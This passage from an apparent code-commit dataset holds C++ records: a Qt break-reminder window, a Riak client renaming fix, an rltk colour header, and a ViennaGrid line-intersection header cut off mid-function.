pRestLayout->addWidget(pSpinRestTime_s);\n\n    \/\/ tolerance spin box\n    QHBoxLayout* pToleranceLayout = new QHBoxLayout;\n    QLabel* pToleranceLabel = new QLabel(tr(\"Tolerance time [s]\"));\n    QSpinBox* pSpinToleranceTime_s = new QSpinBox(this);\n    pSpinToleranceTime_s->setValue(UserTimeSettings::ToleranceTime_s());\n    pSpinToleranceTime_s->setMaximum(999);\n    connect(pSpinToleranceTime_s, static_cast<void (QSpinBox::*)(int)>(&QSpinBox::valueChanged), [&](const int &nNewValue) {\n       UserTimeSettings::SetToleranceTime_s(nNewValue);\n       m_pAppSettings->setValue(\"tolerance_time\", UserTimeSettings::ToleranceTime_s());\n\n    });\n    pToleranceLayout->addWidget(pToleranceLabel);\n    pToleranceLayout->addWidget(pSpinToleranceTime_s);\n\n    \/\/ add all to vertical layout\n    pTimeLayout->addLayout(pWorkLayout);\n    pTimeLayout->addLayout(pRestLayout);\n    pTimeLayout->addLayout(pToleranceLayout);\n\n    \/\/ add label with info\n    m_pLabel = new QLabel;\n\n    QVBoxLayout* pMainLayout = new QVBoxLayout;\n    pMainLayout->addLayout(pTimeLayout);\n\n    m_pPassedToleranceBar = new QProgressBar(this);\n    m_pPassedToleranceBar->setMaximum(0);\n    m_pPassedToleranceBar->setMaximum(UserTimeSettings::ToleranceTime_s() * 1000);\n    m_pPassedToleranceBar->setTextVisible(false);\n\n    pMainLayout->addWidget(m_pPassedToleranceBar);\n    pMainLayout->addWidget(m_pLabel);\n\n    QWidget* pWidget = new QWidget(this);\n    pWidget->setLayout(pMainLayout);\n    this->setCentralWidget(pWidget);\n}\n\nvoid MainWindow::CreateActions()\n{\n    m_pOpenAction = new QAction(tr(\"&Open\"), this);\n    connect(m_pOpenAction, &QAction::triggered, this, &MainWindow::OpenWindow);\n\n    m_pPostponeAction = new QAction(tr(\"&Add 5 mins\"), this);\n    m_pPostponeAction->setCheckable(true);\n    connect(m_pPostponeAction, &QAction::triggered, this, &MainWindow::PostponeTheBreak);\n\n    m_pAboutAction = new QAction(tr(\"A&bout...\"), this);\n    connect(m_pAboutAction, &QAction::triggered, qApp, &QApplication::aboutQt); \/\/ NOTE - change to about App\n\n    m_pQuitAction = new QAction(tr(\"Really &quit\"), this);\n    connect(m_pQuitAction, &QAction::triggered, qApp, &QCoreApplication::quit);\n\n    m_pOnTopAction = new QAction(tr(\"Always on &top\"), this);\n    m_pOnTopAction->setCheckable(true);\n    connect(m_pOnTopAction, &QAction::triggered, [&](bool bOnTop) {\n        m_pAppSettings->setValue(\"always_on_top\", bOnTop);\n        SetOnTop(bOnTop);\n    });\n\n    m_pOnStartUpAction = new QAction(tr(\"Run on &startup\"), this);\n    m_pOnStartUpAction->setCheckable(true);\n    connect(m_pOnStartUpAction, &QAction::triggered, [&](bool bRunOnStartUp) {\n        m_pAppSettings->setValue(\"run_on_startup\", bRunOnStartUp);\n        SetOnStartUp(bRunOnStartUp);\n    });\n}\n\nvoid MainWindow::CreateMenu()\n{\n    m_pAppMenu = menuBar()->addMenu(tr(\"&App\"));\n    m_pAppMenu->addAction(m_pPostponeAction);\n    m_pAppMenu->addSeparator();\n    m_pAppMenu->addAction(m_pAboutAction);\n    m_pAppMenu->addSeparator();\n    m_pAppMenu->addAction(m_pQuitAction);\n\n    m_pOptionsMenu = menuBar()->addMenu(tr(\"&Options\"));\n    m_pOptionsMenu->addAction(m_pOnTopAction);\n    m_pOptionsMenu->addAction(m_pOnStartUpAction);\n}\n\nvoid MainWindow::OpenWindow()\n{\n    this->setWindowState(this->windowState() & ~Qt::WindowMinimized);\n    this->show();\n    this->activateWindow();\n}\n\nvoid MainWindow::PostponeTheBreak()\n{\n    m_pPostponeAction->setEnabled(false);\n    m_nExtraWorkTime_ms = UserTimeSettings::ExtraWorkTime_s() * 1000;\n}\n\nvoid MainWindow::SetOnTop(bool bOnTop)\n{\n    if(bOnTop)\n    {\n        this->setWindowFlags(Qt::WindowStaysOnTopHint);\n    }\n    else\n    {\n        this->setWindowFlags(this->windowFlags() & (~Qt::WindowStaysOnTopHint));\n    }\n    this->show();\n    this->activateWindow();\n}\n\nvoid MainWindow::SetOnStartUp(bool bRunOnStartUp)\n{\n    QSettings oSettings(\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\", QSettings::NativeFormat);\n    if (bRunOnStartUp)\n    {\n        const QString strNativeBinPath = QDir::toNativeSeparators(qApp->applicationFilePath());\n        oSettings.setValue(QCoreApplication::applicationName(), strNativeBinPath);\n    }\n    else\n    {\n        oSettings.remove(QCoreApplication::applicationName());\n    }\n}\n\nvoid MainWindow::SetIconByTime()\n{\n    int nWorkTime_ms = UserTimeSettings::WorkTime_s() * 1000 + m_nExtraWorkTime_ms;\n    if(m_pLastUserInput->UserActiveTime_ms() > nWorkTime_ms)\n    {\n        SetTrayIcon(\":\/stop_icon.png\");\n    }\n    else if(m_pLastUserInput->UserActiveTime_ms() < nWorkTime_ms &&  m_pLastUserInput->UserActiveTime_ms() > (nWorkTime_ms - UserTimeSettings::WarningTime_s()) * 1000)\n    {\n        SetTrayIcon(\":\/ready_icon.png\");\n    }\n    else if(m_pLastUserInput->UserIdleTime_ms() > UserTimeSettings::RestTime_s())\n    {\n        SetTrayIcon(\":\/go_icon.png\");\n    }\n}\n\nMainWindow::MainWindow(QMainWindow *parent) : QMainWindow(parent)\n{\n    m_pLastUserInput = new UserInputWatcher(new SystemInput());\n\n    m_pTrayIcon = new QSystemTrayIcon(this);\n\n    CreateActions();\n    CreateTrayIcon();\n    SetTrayIcon(\":\/go_icon.png\");\n\n    LoadSettings();\n    CreateLayout();\n    CreateMenu();\n\n    if(QSystemTrayIcon::isSystemTrayAvailable())\n    {\n        qDebug() << \"tray is avaible\";\n    }\n\n    connect(m_pTrayIcon, &QSystemTrayIcon::activated, [&](QSystemTrayIcon::ActivationReason eReason) {\n        qDebug() << eReason;\n        switch (eReason) {\n        case QSystemTrayIcon::DoubleClick:\n        case QSystemTrayIcon::Trigger:\n            OpenWindow();\n            break;\n        default:\n            break;\n        }\n    });\n\n    connect(&m_oBeepTimer, &QTimer::timeout, [&]() {\n        int nWorkTime_ms = UserTimeSettings::WorkTime_s() * 1000 + m_nExtraWorkTime_ms;\n        if(m_pLastUserInput->UserActiveTime_ms() > nWorkTime_ms && m_pLastUserInput->PassedTolerance_ms() > 0)\n        {\n            QApplication::beep();\n        }\n    });\n\n    connect(&m_oTimer, &QTimer::timeout, [&]() {\n\n        SetIconByTime();\n        m_pLastUserInput->UpdateLastUserInput();\n\n        m_pPassedToleranceBar->setValue(m_pLastUserInput->PassedTolerance_ms() > m_pPassedToleranceBar->maximum() ? m_pPassedToleranceBar->maximum() : m_pLastUserInput->PassedTolerance_ms());\n\n        m_pLabel->setText(QString(\"User idle time\\t\\t%1\\nUser active time\\t\\t%2\")\n                          .arg(TimeFormat::GetMinsAndSeconds(m_pLastUserInput->UserIdleTime_ms()))\n                          .arg(TimeFormat::GetMinsAndSeconds(m_pLastUserInput->UserActiveTime_ms())));\n\n        m_pTrayIcon->setToolTip(QString(tr(\"Work time is %1 mins\")).arg(TimeFormat::GetMins(m_pLastUserInput->UserActiveTime_ms())));\n\n    });\n\n    connect(m_pLastUserInput, &UserInputWatcher::NewWorkPeriod, [&]() {\n        m_pPostponeAction->setEnabled(true);\n        m_nExtraWorkTime_ms = 0;\n    });\n\n    m_oTimer.start(100);\n    m_oBeepTimer.start(1100);\n}\n\nvoid MainWindow::closeEvent(QCloseEvent *event)\n{\n    if(m_pTrayIcon->isVisible())\n    {\n        hide();\n        event->ignore();\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*!\n * \\file\n * Implements asynchronous communication with a Riak server over objects.\n *\n * \\author Andres Jaan Tack <ajtack@gmail.com>\n *\/\n#include <boost\/thread\/mutex.hpp>\n#include <riak\/bucket.hxx>\n#include <riak\/message.hxx>\n#include <riak\/object.hxx>\n#include <riak\/riakclient.pb.h>\n#include <riak\/store.hxx>\n#include <system_error>\n\n\/\/=============================================================================\nnamespace riak {\n\/\/=============================================================================\n\nusing std::placeholders::_1;\nusing std::placeholders::_2;\nusing std::placeholders::_3;\n\n\/\/=============================================================================\n    namespace {\n\/\/=============================================================================\n\ntemplate <typename T>\nvoid fulfill_promise (std::shared_ptr<boost::promise<T>> p, const T& v)\n{\n    p->set_value(v);\n}\n\n\ntemplate <typename T>\nvoid fail_promise (std::shared_ptr<boost::promise<T>> p, const std::exception& e)\n{\n    p->set_exception(boost::copy_exception(e));\n}\n\n\/\/=============================================================================\n    }   \/\/ namespace (anonymous)\n\/\/=============================================================================\n\nboost::shared_future<void> object::put (const object::value& c)\n        \/\/ const object_access_parameters& )\n{\n    std::shared_ptr<boost::promise<void>> promise(new boost::promise<void>());\n    \n    \/\/ Set up the appropriate callback.\n    if (cache_is_hot_) {\n        put_with_cached_vector_clock(promise, c);\n    } else {\n        using std::function;\n        function<void()> on_successful_fetch =\n                std::bind(&object::put_with_cached_vector_clock, shared_from_this(), promise, c);\n        function<void(const std::exception&)> on_failed_fetch =\n                std::bind(&fail_promise<void>, promise, _1);\n        \n        message::handler handle_fetch_response = \n                std::bind(&object::on_fetch_response,\n                        shared_from_this(),\n                        on_successful_fetch,\n                        on_failed_fetch,\n                        _1, _2, _3);\n        \n        auto handle_buffered_fetch_response = message::make_buffering_handler(handle_whole_response);\n        fetch_to (handle_buffered_fetch_response);\n    }\n    \n    return promise->get_future();\n}\n\n\nboost::shared_future<boost::optional<object::siblings>> object::fetch () const\n        \/\/ const object_access_parameters& p = store_.object_access_defaults() ) const\n{\n    typedef boost::optional<object::siblings> optval;\n    std::shared_ptr<boost::promise<optval>> promise(new boost::promise<optval>());\n    \n    \/\/ Type inference should work here, but it doesn't derive correctly. Strange.\n    using std::function;\n    function<void()> on_successful_fetch = std::bind(&fulfill_promise<optval>, promise, std::ref(cached_siblings_));\n    function<void(const std::exception&)> on_failed_fetch = std::bind(&fail_promise<optval>, promise, _1);\n    message::handler handle_whole_response =\n            std::bind(&object::on_fetch_response,\n                    shared_from_this(),\n                    on_successful_fetch,\n                    on_failed_fetch,\n                    _1, _2, _3);\n    \n    auto handle_buffered_response = message::make_buffering_handler(handle_whole_response);\n    fetch_to (handle_buffered_response);\n    \n    return promise->get_future();\n}\n\n\/\/=============================================================================\n    namespace {\n\/\/=============================================================================\n\nvoid update_cache (\n        const RpbGetResp& response,\n        boost::optional<object::siblings>& cached_siblings,\n        boost::optional<std::string>& cached_vector_clock,\n        boost::mutex& mutex)\n{\n    boost::unique_lock<boost::mutex> protect(mutex);\n    if (not (response.has_unchanged() and response.unchanged())) {\n        if (response.has_vclock()) {\n            cached_siblings = response.content();\n            cached_vector_clock = response.vclock();\n        }\n    }\n}\n        \n\/\/=============================================================================\n    }\n\/\/=============================================================================\n\nvoid object::fetch_to (message::buffering_handler& response_handler) const\n{\n    RpbGetReq request;\n    request.set_bucket(this->bucket_);\n    request.set_key(this->key());\n    auto& overridden = overridden_access_parameters_;\n    if (overridden.r )            request.set_r           (*overridden_access_parameters_.r);\n    if (overridden.pr)            request.set_pr          (*overridden_access_parameters_.pr);\n    if (overridden.basic_quorum)  request.set_basic_quorum(*overridden_access_parameters_.basic_quorum);\n    if (overridden.notfound_ok)   request.set_notfound_ok (*overridden_access_parameters_.notfound_ok);\n    if (cached_vector_clock_) request.set_if_modified(*cached_vector_clock_);\n    request.set_head(false);\n    request.set_deletedvclock(true);\n    auto query = message::encode(request);\n\n    store_.transmit_request(\n            query.to_string(), response_handler, default_request_failure_parameters_.response_timeout);\n}\n\n\nbool object::on_fetch_response (\n        std::function<void()> proceed_with_next_step,\n        std::function<void(const std::exception&)> fail,\n        const std::error_code& error,\n        std::size_t bytes_received,\n        const std::string& request) const\n{\n    \/\/ Note: This method assumes that it has been fed whole response objects. Anything less than\n    \/\/ five bytes long is going to fail here in strange and wonderful ways. Use\n    \/\/ message::make_buffering_handler!\n    \n    if (not error) {\n        assert (bytes_received != 0);\n        assert(bytes_received == request.size());\n        \n        RpbGetResp response;\n        if (message::retrieve(response, request.size(), request)) {\n            update_cache(response, cached_siblings_, cached_vector_clock_, mutex_);\n            cache_is_hot_ = true;\n            proceed_with_next_step();\n        } else {\n            fail(std::invalid_argument(\"Riak server's response was nonsensical.\"));\n        }\n    } else {\n        fail(std::system_error(error));\n    }\n    \n    \/\/ Whether we received a successful response or solk, we're done.\n    return true;\n}\n\n\nvoid object::put_with_cached_vector_clock (\n        std::shared_ptr<boost::promise<void>>& promise,\n        const object::value& c)\n{\n    assert(!! cache_is_hot_);\n    \n    RpbPutReq request;\n    request.set_bucket(this->bucket_);\n    request.set_key(this->key());\n    if (cached_vector_clock_)\n        request.set_vclock(*cached_vector_clock_);\n    \n    \/\/ TODO: Really?\n    request.mutable_content()->CopyFrom(c);\n    \n    auto& overridden = overridden_access_parameters_;\n    if (overridden.w )  request.set_w (*overridden.w );\n    if (overridden.dw)  request.set_dw(*overridden.dw);\n    if (overridden.pw)  request.set_pw(*overridden.pw);\n    \n    \/\/ TODO: How do we control these options without being corny?\n    request.set_return_body(false);\n    request.set_if_not_modified(false);\n    request.set_if_none_match(false);\n    request.set_return_head(false);\n    \n    auto query = message::encode(request);\n    message::handler handle_whole_request =\n            std::bind(&object::on_put_response, shared_from_this(), promise, _1, _2, _3);\n            \n    store_.transmit_request(\n            query.to_string(),\n            handle_whole_request,\n            default_request_failure_parameters_.response_timeout);\n}\n\n\nbool object::on_put_response (\n    std::shared_ptr<boost::promise<void>>& p,\n    const std::error_code& error,\n    std::size_t bytes_received,\n    const std::string& input) const\n{\n    if (not error) {\n        RpbPutResp response;\n        if (message::retrieve(response, bytes_received, input)) {\n            boost::unique_lock<boost::mutex> protect(mutex_);\n            if (response.has_vclock()   )  cached_vector_clock_ = response.vclock();\n            if (response.content_size() > 0)  cached_siblings_ = response.content();\n            \/\/ TODO: We assume that key is NULL, because we had to have a key to get here.\n            p->set_value();\n        } else {\n            p->set_exception(boost::copy_exception(\n                    std::invalid_argument(\"Riak server's response was nonsensical.\")));\n        }\n    } else {\n        p->set_exception(boost::copy_exception(std::system_error(error)));\n    }\n    \n    return true;\n}\n\n\/\/=============================================================================\n}   \/\/ namespace riak\n\/\/=============================================================================\n<commit_msg>Fixed a last-minute-renaming error.<commit_after>\/*!\n * \\file\n * Implements asynchronous communication with a Riak server over objects.\n *\n * \\author Andres Jaan Tack <ajtack@gmail.com>\n *\/\n#include <boost\/thread\/mutex.hpp>\n#include <riak\/bucket.hxx>\n#include <riak\/message.hxx>\n#include <riak\/object.hxx>\n#include <riak\/riakclient.pb.h>\n#include <riak\/store.hxx>\n#include <system_error>\n\n\/\/=============================================================================\nnamespace riak {\n\/\/=============================================================================\n\nusing std::placeholders::_1;\nusing std::placeholders::_2;\nusing std::placeholders::_3;\n\n\/\/=============================================================================\n    namespace {\n\/\/=============================================================================\n\ntemplate <typename T>\nvoid fulfill_promise (std::shared_ptr<boost::promise<T>> p, const T& v)\n{\n    p->set_value(v);\n}\n\n\ntemplate <typename T>\nvoid fail_promise (std::shared_ptr<boost::promise<T>> p, const std::exception& e)\n{\n    p->set_exception(boost::copy_exception(e));\n}\n\n\/\/=============================================================================\n    }   \/\/ namespace (anonymous)\n\/\/=============================================================================\n\nboost::shared_future<void> object::put (const object::value& c)\n        \/\/ const object_access_parameters& )\n{\n    std::shared_ptr<boost::promise<void>> promise(new boost::promise<void>());\n    \n    \/\/ Set up the appropriate callback.\n    if (cache_is_hot_) {\n        put_with_cached_vector_clock(promise, c);\n    } else {\n        using std::function;\n        function<void()> on_successful_fetch =\n                std::bind(&object::put_with_cached_vector_clock, shared_from_this(), promise, c);\n        function<void(const std::exception&)> on_failed_fetch =\n                std::bind(&fail_promise<void>, promise, _1);\n        \n        message::handler handle_fetch_response = \n                std::bind(&object::on_fetch_response,\n                        shared_from_this(),\n                        on_successful_fetch,\n                        on_failed_fetch,\n                        _1, _2, _3);\n        \n        auto handle_buffered_fetch_response = message::make_buffering_handler(handle_fetch_response);\n        fetch_to (handle_buffered_fetch_response);\n    }\n    \n    return promise->get_future();\n}\n\n\nboost::shared_future<boost::optional<object::siblings>> object::fetch () const\n        \/\/ const object_access_parameters& p = store_.object_access_defaults() ) const\n{\n    typedef boost::optional<object::siblings> optval;\n    std::shared_ptr<boost::promise<optval>> promise(new boost::promise<optval>());\n    \n    \/\/ Type inference should work here, but it doesn't derive correctly. Strange.\n    using std::function;\n    function<void()> on_successful_fetch = std::bind(&fulfill_promise<optval>, promise, std::ref(cached_siblings_));\n    function<void(const std::exception&)> on_failed_fetch = std::bind(&fail_promise<optval>, promise, _1);\n    message::handler handle_whole_response =\n            std::bind(&object::on_fetch_response,\n                    shared_from_this(),\n                    on_successful_fetch,\n                    on_failed_fetch,\n                    _1, _2, _3);\n    \n    auto handle_buffered_response = message::make_buffering_handler(handle_whole_response);\n    fetch_to (handle_buffered_response);\n    \n    return promise->get_future();\n}\n\n\/\/=============================================================================\n    namespace {\n\/\/=============================================================================\n\nvoid update_cache (\n        const RpbGetResp& response,\n        boost::optional<object::siblings>& cached_siblings,\n        boost::optional<std::string>& cached_vector_clock,\n        boost::mutex& mutex)\n{\n    boost::unique_lock<boost::mutex> protect(mutex);\n    if (not (response.has_unchanged() and response.unchanged())) {\n        if (response.has_vclock()) {\n            cached_siblings = response.content();\n            cached_vector_clock = response.vclock();\n        }\n    }\n}\n        \n\/\/=============================================================================\n    }\n\/\/=============================================================================\n\nvoid object::fetch_to (message::buffering_handler& response_handler) const\n{\n    RpbGetReq request;\n    request.set_bucket(this->bucket_);\n    request.set_key(this->key());\n    auto& overridden = overridden_access_parameters_;\n    if (overridden.r )            request.set_r           (*overridden_access_parameters_.r);\n    if (overridden.pr)            request.set_pr          (*overridden_access_parameters_.pr);\n    if (overridden.basic_quorum)  request.set_basic_quorum(*overridden_access_parameters_.basic_quorum);\n    if (overridden.notfound_ok)   request.set_notfound_ok (*overridden_access_parameters_.notfound_ok);\n    if (cached_vector_clock_) request.set_if_modified(*cached_vector_clock_);\n    request.set_head(false);\n    request.set_deletedvclock(true);\n    auto query = message::encode(request);\n\n    store_.transmit_request(\n            query.to_string(), response_handler, default_request_failure_parameters_.response_timeout);\n}\n\n\nbool object::on_fetch_response (\n        std::function<void()> proceed_with_next_step,\n        std::function<void(const std::exception&)> fail,\n        const std::error_code& error,\n        std::size_t bytes_received,\n        const std::string& request) const\n{\n    \/\/ Note: This method assumes that it has been fed whole response objects. Anything less than\n    \/\/ five bytes long is going to fail here in strange and wonderful ways. Use\n    \/\/ message::make_buffering_handler!\n    \n    if (not error) {\n        assert (bytes_received != 0);\n        assert(bytes_received == request.size());\n        \n        RpbGetResp response;\n        if (message::retrieve(response, request.size(), request)) {\n            update_cache(response, cached_siblings_, cached_vector_clock_, mutex_);\n            cache_is_hot_ = true;\n            proceed_with_next_step();\n        } else {\n            fail(std::invalid_argument(\"Riak server's response was nonsensical.\"));\n        }\n    } else {\n        fail(std::system_error(error));\n    }\n    \n    \/\/ Whether we received a successful response or solk, we're done.\n    return true;\n}\n\n\nvoid object::put_with_cached_vector_clock (\n        std::shared_ptr<boost::promise<void>>& promise,\n        const object::value& c)\n{\n    assert(!! cache_is_hot_);\n    \n    RpbPutReq request;\n    request.set_bucket(this->bucket_);\n    request.set_key(this->key());\n    if (cached_vector_clock_)\n        request.set_vclock(*cached_vector_clock_);\n    \n    \/\/ TODO: Really?\n    request.mutable_content()->CopyFrom(c);\n    \n    auto& overridden = overridden_access_parameters_;\n    if (overridden.w )  request.set_w (*overridden.w );\n    if (overridden.dw)  request.set_dw(*overridden.dw);\n    if (overridden.pw)  request.set_pw(*overridden.pw);\n    \n    \/\/ TODO: How do we control these options without being corny?\n    request.set_return_body(false);\n    request.set_if_not_modified(false);\n    request.set_if_none_match(false);\n    request.set_return_head(false);\n    \n    auto query = message::encode(request);\n    message::handler handle_whole_request =\n            std::bind(&object::on_put_response, shared_from_this(), promise, _1, _2, _3);\n            \n    store_.transmit_request(\n            query.to_string(),\n            handle_whole_request,\n            default_request_failure_parameters_.response_timeout);\n}\n\n\nbool object::on_put_response (\n    std::shared_ptr<boost::promise<void>>& p,\n    const std::error_code& error,\n    std::size_t bytes_received,\n    const std::string& input) const\n{\n    if (not error) {\n        RpbPutResp response;\n        if (message::retrieve(response, bytes_received, input)) {\n            boost::unique_lock<boost::mutex> protect(mutex_);\n            if (response.has_vclock()   )  cached_vector_clock_ = response.vclock();\n            if (response.content_size() > 0)  cached_siblings_ = response.content();\n            \/\/ TODO: We assume that key is NULL, because we had to have a key to get here.\n            p->set_value();\n        } else {\n            p->set_exception(boost::copy_exception(\n                    std::invalid_argument(\"Riak server's response was nonsensical.\")));\n        }\n    } else {\n        p->set_exception(boost::copy_exception(std::system_error(error)));\n    }\n    \n    return true;\n}\n\n\/\/=============================================================================\n}   \/\/ namespace riak\n\/\/=============================================================================\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include \"virtual_terminal.hpp\"\n\nnamespace rltk {\n\nconstexpr color_t BLACK{0,0,0};\nconstexpr color_t WHITE{255,255,255};\nconstexpr color_t YELLOW{255,255,0};\nconstexpr color_t BLUE{0,0,255};\n\n}\n<commit_msg>A few more named colors.<commit_after>#pragma once\n\n#include \"virtual_terminal.hpp\"\n\nnamespace rltk {\n\nconstexpr color_t BLACK{0,0,0};\nconstexpr color_t WHITE{255,255,255};\nconstexpr color_t YELLOW{255,255,0};\nconstexpr color_t BLUE{0,0,255};\nconstexpr color_t RED{255,0,0};\nconstexpr color_t GREEN{0,255,0};\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#ifndef VIENNAGRID_ALGORITHM_INTERSECT_HPP\n#define VIENNAGRID_ALGORITHM_INTERSECT_HPP\n\n\/* =======================================================================\n   Copyright (c) 2011-2012, Institute for Microelectronics,\n                            Institute for Analysis and Scientific Computing,\n                            TU Wien.\n\n                            -----------------\n                     ViennaGrid - The Vienna Grid Library\n                            -----------------\n\n   Authors:      Karl Rupp                           rupp@iue.tuwien.ac.at\n                 Josef Weinbub                    weinbub@iue.tuwien.ac.at\n               \n   (A list of additional contributors can be found in the PDF manual)\n\n   License:      MIT (X11), see file LICENSE in the base directory\n======================================================================= *\/\n\n#include \"viennagrid\/forwards.hpp\"\n#include \"viennagrid\/algorithm\/numeric.hpp\"\n#include \"viennagrid\/algorithm\/inner_prod.hpp\"\n#include \"viennagrid\/algorithm\/norm.hpp\"\n\nnamespace viennagrid \n{\n  \n    namespace geometry\n    {\n\n        namespace interval\n        {\n        \n            struct open_tag {};\n            struct closed_tag {};\n            \n            \n            template<typename tag0, typename tag1>\n            open_tag intersect_tag( tag0, tag1 )\n            { return open_tag(); }\n            \n            closed_tag intersect_tag ( closed_tag, closed_tag )\n            { return closed_tag(); }\n            \n            inline bool is_open(open_tag) { return true; }\n            inline bool is_open(closed_tag) { return false; }\n            \n            inline bool is_closed(open_tag) { return false; }\n            inline bool is_closed(closed_tag) { return true; }\n            \n            struct open_open_tag\n            {\n                typedef open_tag first_tag;\n                typedef open_tag second_tag;\n            };\n            \n            struct open_closed_tag\n            {\n                typedef open_tag first_tag;\n                typedef closed_tag second_tag;\n            };\n            \n            struct closed_open_tag\n            {\n                typedef closed_tag first_tag;\n                typedef open_tag second_tag;\n            };\n            \n            struct closed_closed_tag\n            {\n                typedef closed_tag first_tag;\n                typedef closed_tag second_tag;\n            };\n            \n            template<typename dual_tag>\n            typename dual_tag::first_tag first_tag( dual_tag )\n            { return typename dual_tag::first_tag(); }\n            \n            template<typename dual_tag>\n            typename dual_tag::second_tag second_tag( dual_tag )\n            { return typename dual_tag::second_tag(); }\n            \n            inline open_open_tag make_tag( open_tag, open_tag )\n            { return open_open_tag(); }\n            \n            inline open_closed_tag make_tag( open_tag, closed_tag )\n            { return open_closed_tag(); }\n            \n            inline closed_open_tag make_tag( closed_tag, open_tag )\n            { return closed_open_tag(); }\n            \n            inline closed_closed_tag make_tag( closed_tag, closed_tag )\n            { return closed_closed_tag(); }\n\n            \n            template<typename numeric_type>\n            bool greater( numeric_type ref, numeric_type to_test, open_tag )\n            { return ref < to_test; }\n\n            template<typename numeric_type>\n            bool greater( numeric_type ref, numeric_type to_test, closed_tag )\n            { return ref <= to_test; }\n            \n            template<typename numeric_type>\n            bool less( numeric_type ref, numeric_type to_test, open_tag )\n            { return ref > to_test; }\n\n            template<typename numeric_type>\n            bool less( numeric_type ref, numeric_type to_test, closed_tag )\n            { return ref >= to_test; }\n            \n            \n            \n            \n            template<typename numeric_type, typename first_tag_type, typename second_tag_type>\n            bool point_in_interval( numeric_type first, first_tag_type first_tag, numeric_type second, second_tag_type second_tag, numeric_type to_test )\n            {\n                return (first <= second) ?\n                    (greater(first, to_test, first_tag) && less(second, to_test, second_tag)) :\n                    (greater(second, to_test, second_tag) && less(first, to_test, first_tag));\n            }\n            \n            template<typename numeric_type, typename dual_tag>\n            bool point_in_interval( numeric_type first, numeric_type second, dual_tag tag, numeric_type to_test )\n            {\n                return point_in_interval(first, first_tag(tag), second, second_tag(tag), to_test);\n            }\n            \n            \n            template<typename numeric_type, typename interval_0_tag_type, typename interval_1_tag_type>\n            bool interval_intersect(numeric_type first_0, numeric_type second_0, interval_0_tag_type interval_0_tag,\n                                    numeric_type first_1, numeric_type second_1, interval_1_tag_type interval_1_tag )\n            {\n                return point_in_interval( first_0, intersect_tag(first_tag(interval_0_tag), first_tag(interval_1_tag)), second_0, intersect_tag(second_tag(interval_0_tag), first_tag(interval_1_tag)), first_1 ) ||\n                    point_in_interval( first_0, intersect_tag(first_tag(interval_0_tag), second_tag(interval_1_tag)), second_0, intersect_tag(second_tag(interval_0_tag), second_tag(interval_1_tag)), second_1 ) ||\n                    point_in_interval( first_1, intersect_tag(first_tag(interval_1_tag), first_tag(interval_0_tag)), second_1, intersect_tag(second_tag(interval_1_tag), first_tag(interval_0_tag)), first_0 ) ||\n                    point_in_interval( first_1, intersect_tag(first_tag(interval_1_tag), second_tag(interval_0_tag)), second_1, intersect_tag(second_tag(interval_1_tag), second_tag(interval_0_tag)), second_0 ) ||\n                    ( (first_0 == first_1) && (second_0 == second_1) && (std::abs(second_0 - first_0) > 0) ) ||\n                    ( (first_0 == second_1) && (second_0 == first_1) && (std::abs(second_0 - first_0) > 0) );\n            }\n        \n        }\n        \n        \n        template<typename point_type, typename numeric_config, typename line_tag>\n        bool point_line_intersect(point_type const & p,\n                                  point_type const & q0, point_type const & q1, line_tag tag,\n                                  numeric_config nc )\n        {\n            typedef typename viennagrid::result_of::coord_type< point_type >::type coord_type;\n            typedef typename numeric::result_of::numeric_type<numeric_config, coord_type>::type inner_numeric_type;\n            \n            point_type dir = q1 - q0;\n            point_type lhs = p - q0;\n            \n            inner_numeric_type relative_eps = numeric::relative_tolerance(nc, viennagrid::norm_1(dir) );\n            \n\/\/             std::cout << \"  \" << dir[0] << \" \" << lhs [0] << std::endl;\n            \n            if ( norm_1(dir) < relative_eps )\n                return false;\n            \n            \n            if ( std::abs(dir[0] * lhs[1] - lhs[0] * dir[1]) < relative_eps )\n            {\n                return (std::abs(dir[0]) < relative_eps) ?\n                    interval::point_in_interval(coord_type(0), dir[1], tag, lhs[1]) :\n                    interval::point_in_interval(coord_type(0), dir[0], tag, lhs[0]);\n            }\n\n            return false;\n        }\n        \n        \n        \n        template <typename point_type, typename numeric_config, typename line1_tag, typename line2_tag>\n        bool line_line_intersect(point_type const & v0, point_type const & v1, line1_tag tag1, \/\/endpoints of first line\n                                 point_type const & w0, point_type const & w1, line2_tag tag2, \/\/endpoints of second line\n                                 numeric_config nc )\n        {\n            \/\/typedef point_t<CoordType, CoordinateSystem>  PointType;\n            typedef typename viennagrid::result_of::coord_type< point_type >::type coord_type;\n            typedef typename numeric::result_of::numeric_type<numeric_config, coord_type>::type inner_numeric_type;\n\n            \/\/ write V(s) = v0 + s * (v1 - v0), s \\in [0,1]\n            \/\/       W(t) = w0 + t * (w1 - w0), t \\in [0,1]\n            \n            \/\/ compute s and t assuming V(s) and W(t) to be infinite lines:\n            \/\/ cf. http:\/\/www.softsurfer.com\/Archive\/algorithm_0106\/algorithm_0106.htm\n            point_type dir_v = v1 - v0;  \/\/direction vector for line V(s)\n            point_type dir_w = w1 - w0;  \/\/direction vector for line W(t)\n            \n            \n            \n            coord_type v_in_v = viennagrid::inner_prod(dir_v, dir_v);\n            coord_type v_in_w = viennagrid::inner_prod(dir_v, dir_w);\n            coord_type w_in_w = viennagrid::inner_prod(dir_w, dir_w);\n            \n            coord_type denominator = v_in_v * w_in_w - v_in_w * v_in_w;\n\/\/             std::cout << \"denominator: \" << denominator << std::endl;\n                                    \n            if ( std::abs(denominator) < numeric::relative_tolerance(nc, v_in_v * w_in_w) ) \/\/lines parallel (up to round-off)\n            {\n                point_type lhs_v = w0 - v0;\n                inner_numeric_type relative_eps = numeric::relative_tolerance(nc, viennagrid::norm_1(dir_v) );\n                \n                if ( std::abs(dir_v[0] * lhs_v[1] - lhs_v[0] * dir_v[1]) < relative_eps ) \/\/ lines share a common ray\n                {\n                    std::size_t index = (std::abs(dir_v[0]) < relative_eps) ? 1 : 0;\n\n                    coord_type w_first = lhs_v[index];\n                    coord_type w_second = w1[index] - v0[index];\n                        \n                    return interval::interval_intersect( coord_type(0), dir_v[index], tag1, w_first, w_second, tag2 );\n                }\n                else\n                    return false;\n            }\n\n            \/\/Lines are not parallel: Compute minimizers s, t:\n            point_type dir_distance = v0 - w0;  \/\/any vector connecting two points on V and W\n            \n            \/\/if (inner_prod(dir_distance, dir_distance) \/ v_in_v < 1e-10)  \/\/v0 and w0 are the same point\n            \/\/  return 